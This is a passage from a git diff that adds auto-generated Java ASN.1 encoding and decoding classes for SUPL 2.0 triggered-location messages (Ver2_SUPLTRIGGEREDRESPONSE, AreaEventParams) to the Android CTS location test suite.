+import android.location.cts.asn1.supl2.ver2_ulp_components.SPCSETKey;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SPCSETKeylifetime;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SPCTID;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SupportedNetworkInformation;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPLTRIGGEREDRESPONSE extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPLTRIGGEREDRESPONSE
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPLTRIGGEREDRESPONSE() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPLTRIGGEREDRESPONSE;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPLTRIGGEREDRESPONSE != null) {
+ return ImmutableList.of(TAG_Ver2_SUPLTRIGGEREDRESPONSE);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPLTRIGGEREDRESPONSE from encoded stream.
+ */
+ public static Ver2_SUPLTRIGGEREDRESPONSE fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPLTRIGGEREDRESPONSE result = new Ver2_SUPLTRIGGEREDRESPONSE();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPLTRIGGEREDRESPONSE from encoded stream.
+ */
+ public static Ver2_SUPLTRIGGEREDRESPONSE fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPLTRIGGEREDRESPONSE result = new Ver2_SUPLTRIGGEREDRESPONSE();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PosMethod posMethod_;
+ public PosMethod getPosMethod() {
+ return posMethod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosMethod
+ */
+ public void setPosMethod(Asn1Object value) {
+ this.posMethod_ = (PosMethod) value;
+ }
+ public PosMethod setPosMethodToNewInstance() {
+ posMethod_ = new PosMethod();
+ return posMethod_;
+ }
+
+ private TriggerParams triggerParams_;
+ public TriggerParams getTriggerParams() {
+ return triggerParams_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TriggerParams
+ */
+ public void setTriggerParams(Asn1Object value) {
+ this.triggerParams_ = (TriggerParams) value;
+ }
+ public TriggerParams setTriggerParamsToNewInstance() {
+ triggerParams_ = new TriggerParams();
+ return triggerParams_;
+ }
+
+ private SLPAddress sLPAddress_;
+ public SLPAddress getSLPAddress() {
+ return sLPAddress_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SLPAddress
+ */
+ public void setSLPAddress(Asn1Object value) {
+ this.sLPAddress_ = (SLPAddress) value;
+ }
+ public SLPAddress setSLPAddressToNewInstance() {
+ sLPAddress_ = new SLPAddress();
+ return sLPAddress_;
+ }
+
+ private SupportedNetworkInformation supportedNetworkInformation_;
+ public SupportedNetworkInformation getSupportedNetworkInformation() {
+ return supportedNetworkInformation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation
+ */
+ public void setSupportedNetworkInformation(Asn1Object value) {
+ this.supportedNetworkInformation_ = (SupportedNetworkInformation) value;
+ }
+ public SupportedNetworkInformation setSupportedNetworkInformationToNewInstance() {
+ supportedNetworkInformation_ = new SupportedNetworkInformation();
+ return supportedNetworkInformation_;
+ }
+
+ private ReportingMode reportingMode_;
+ public ReportingMode getReportingMode() {
+ return reportingMode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportingMode
+ */
+ public void setReportingMode(Asn1Object value) {
+ this.reportingMode_ = (ReportingMode) value;
+ }
+ public ReportingMode setReportingModeToNewInstance() {
+ reportingMode_ = new ReportingMode();
+ return reportingMode_;
+ }
+
+ private SPCSETKey sPCSETKey_;
+ public SPCSETKey getSPCSETKey() {
+ return sPCSETKey_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SPCSETKey
+ */
+ public void setSPCSETKey(Asn1Object value) {
+ this.sPCSETKey_ = (SPCSETKey) value;
+ }
+ public SPCSETKey setSPCSETKeyToNewInstance() {
+ sPCSETKey_ = new SPCSETKey();
+ return sPCSETKey_;
+ }
+
+ private SPCTID sPCTID_;
+ public SPCTID getSPCTID() {
+ return sPCTID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SPCTID
+ */
+ public void setSPCTID(Asn1Object value) {
+ this.sPCTID_ = (SPCTID) value;
+ }
+ public SPCTID setSPCTIDToNewInstance() {
+ sPCTID_ = new SPCTID();
+ return sPCTID_;
+ }
+
+ private SPCSETKeylifetime sPCSETKeylifetime_;
+ public SPCSETKeylifetime getSPCSETKeylifetime() {
+ return sPCSETKeylifetime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SPCSETKeylifetime
+ */
+ public void setSPCSETKeylifetime(Asn1Object value) {
+ this.sPCSETKeylifetime_ = (SPCSETKeylifetime) value;
+ }
+ public SPCSETKeylifetime setSPCSETKeylifetimeToNewInstance() {
+ sPCSETKeylifetime_ = new SPCSETKeylifetime();
+ return sPCSETKeylifetime_;
+ }
+
+ private GNSSPosTechnology gnssPosTechnology_;
+ public GNSSPosTechnology getGnssPosTechnology() {
+ return gnssPosTechnology_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GNSSPosTechnology
+ */
+ public void setGnssPosTechnology(Asn1Object value) {
+ this.gnssPosTechnology_ = (GNSSPosTechnology) value;
+ }
+ public GNSSPosTechnology setGnssPosTechnologyToNewInstance() {
+ gnssPosTechnology_ = new GNSSPosTechnology();
+ return gnssPosTechnology_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosMethod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosMethod();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosMethodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosMethod.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posMethod : "
+ + getPosMethod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getTriggerParams() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTriggerParams();
+ }
+
+ @Override public void setToNewInstance() {
+ setTriggerParamsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TriggerParams.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "triggerParams : "
+ + getTriggerParams().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSLPAddress() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSLPAddress();
+ }
+
+ @Override public void setToNewInstance() {
+ setSLPAddressToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SLPAddress.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sLPAddress : "
+ + getSLPAddress().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getSupportedNetworkInformation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSupportedNetworkInformation();
+ }
+
+ @Override public void setToNewInstance() {
+ setSupportedNetworkInformationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "supportedNetworkInformation : "
+ + getSupportedNetworkInformation().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getReportingMode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReportingMode();
+ }
+
+ @Override public void setToNewInstance() {
+ setReportingModeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportingMode.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reportingMode : "
+ + getReportingMode().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getSPCSETKey() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSPCSETKey();
+ }
+
+ @Override public void setToNewInstance() {
+ setSPCSETKeyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SPCSETKey.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sPCSETKey : "
+ + getSPCSETKey().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getSPCTID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSPCTID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSPCTIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SPCTID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sPCTID : "
+ + getSPCTID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getSPCSETKeylifetime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSPCSETKeylifetime();
+ }
+
+ @Override public void setToNewInstance() {
+ setSPCSETKeylifetimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SPCSETKeylifetime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sPCSETKeylifetime : "
+ + getSPCSETKeylifetime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getGnssPosTechnology() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGnssPosTechnology();
+ }
+
+ @Override public void setToNewInstance() {
+ setGnssPosTechnologyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GNSSPosTechnology.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gnssPosTechnology : "
+ + getGnssPosTechnology().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPLTRIGGEREDRESPONSE = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventParams.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventParams.java
new file mode 100755
index 0000000..2e97f51
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventParams.java
@@ -0,0 +1,928 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AreaEventParams extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AreaEventParams
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AreaEventParams() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AreaEventParams;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AreaEventParams != null) {
+ return ImmutableList.of(TAG_AreaEventParams);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AreaEventParams from encoded stream.
+ */
+ public static AreaEventParams fromPerUnaligned(byte[] encodedBytes) {
+ AreaEventParams result = new AreaEventParams();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AreaEventParams from encoded stream.
+ */
+ public static AreaEventParams fromPerAligned(byte[] encodedBytes) {
+ AreaEventParams result = new AreaEventParams();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private AreaEventType areaEventType_;
+ public AreaEventType getAreaEventType() {
+ return areaEventType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AreaEventType
+ */
+ public void setAreaEventType(Asn1Object value) {
+ this.areaEventType_ = (AreaEventType) value;
+ }
+ public AreaEventType setAreaEventTypeToNewInstance() {
+ areaEventType_ = new AreaEventType();
+ return areaEventType_;
+ }
+
+ private AreaEventParams.locationEstimateType locationEstimate_;
+ public AreaEventParams.locationEstimateType getLocationEstimate() {
+ return locationEstimate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AreaEventParams.locationEstimateType
+ */
+ public void setLocationEstimate(Asn1Object value) {
+ this.locationEstimate_ = (AreaEventParams.locationEstimateType) value;
+ }
+ public AreaEventParams.locationEstimateType setLocationEstimateToNewInstance() {
+ locationEstimate_ = new AreaEventParams.locationEstimateType();
+ return locationEstimate_;
+ }
+
+ private RepeatedReportingParams repeatedReportingParams_;
+ public RepeatedReportingParams getRepeatedReportingParams() {
+ return repeatedReportingParams_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RepeatedReportingParams
+ */
+ public void setRepeatedReportingParams(Asn1Object value) {
+ this.repeatedReportingParams_ = (RepeatedReportingParams) value;
+ }
+ public RepeatedReportingParams setRepeatedReportingParamsToNewInstance() {
+ repeatedReportingParams_ = new RepeatedReportingParams();
+ return repeatedReportingParams_;
+ }
+
+ private AreaEventParams.startTimeType startTime_;
+ public AreaEventParams.startTimeType getStartTime() {
+ return startTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AreaEventParams.startTimeType
+ */
+ public void setStartTime(Asn1Object value) {
+ this.startTime_ = (AreaEventParams.startTimeType) value;
+ }
+ public AreaEventParams.startTimeType setStartTimeToNewInstance() {
+ startTime_ = new AreaEventParams.startTimeType();
+ return startTime_;
+ }
+
+ private AreaEventParams.stopTimeType stopTime_;
+ public AreaEventParams.stopTimeType getStopTime() {
+ return stopTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AreaEventParams.stopTimeType
+ */
+ public void setStopTime(Asn1Object value) {
+ this.stopTime_ = (AreaEventParams.stopTimeType) value;
+ }
+ public AreaEventParams.stopTimeType setStopTimeToNewInstance() {
+ stopTime_ = new AreaEventParams.stopTimeType();
+ return stopTime_;
+ }
+
+ private GeographicTargetAreaList geographicTargetAreaList_;
+ public GeographicTargetAreaList getGeographicTargetAreaList() {
+ return geographicTargetAreaList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GeographicTargetAreaList
+ */
+ public void setGeographicTargetAreaList(Asn1Object value) {
+ this.geographicTargetAreaList_ = (GeographicTargetAreaList) value;
+ }
+ public GeographicTargetAreaList setGeographicTargetAreaListToNewInstance() {
+ geographicTargetAreaList_ = new GeographicTargetAreaList();
+ return geographicTargetAreaList_;
+ }
+
+ private AreaEventParams.areaIdListsType areaIdLists_;
+ public AreaEventParams.areaIdListsType getAreaIdLists() {
+ return areaIdLists_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AreaEventParams.areaIdListsType
+ */
+ public void setAreaIdLists(Asn1Object value) {
+ this.areaIdLists_ = (AreaEventParams.areaIdListsType) value;
+ }
+ public AreaEventParams.areaIdListsType setAreaIdListsToNewInstance() {
+ areaIdLists_ = new AreaEventParams.areaIdListsType();
+ return areaIdLists_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAreaEventType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAreaEventType();
+ }
+
+ @Override public void setToNewInstance() {
+ setAreaEventTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AreaEventType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "areaEventType : "
+ + getAreaEventType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocationEstimate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationEstimate();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationEstimateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AreaEventParams.locationEstimateType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationEstimate : "
+ + getLocationEstimate().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRepeatedReportingParams() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRepeatedReportingParams();
+ }
+
+ @Override public void setToNewInstance() {
+ setRepeatedReportingParamsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RepeatedReportingParams.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "repeatedReportingParams : "
+ + getRepeatedReportingParams().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getStartTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStartTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setStartTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AreaEventParams.startTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "startTime : "
+ + getStartTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getStopTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStopTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setStopTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AreaEventParams.stopTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stopTime : "
+ + getStopTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getGeographicTargetAreaList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGeographicTargetAreaList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGeographicTargetAreaListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GeographicTargetAreaList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "geographicTargetAreaList : "
+ + getGeographicTargetAreaList().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getAreaIdLists() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAreaIdLists();
+ }
+
+ @Override public void setToNewInstance() {
+ setAreaIdListsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AreaEventParams.areaIdListsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "areaIdLists : "
+ + getAreaIdLists().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class locationEstimateType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_locationEstimateType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public locationEstimateType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_locationEstimateType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_locationEstimateType != null) {
+ return ImmutableList.of(TAG_locationEstimateType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new locationEstimateType from encoded stream.
+ */
+ public static locationEstimateType fromPerUnaligned(byte[] encodedBytes) {
+ locationEstimateType result = new locationEstimateType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
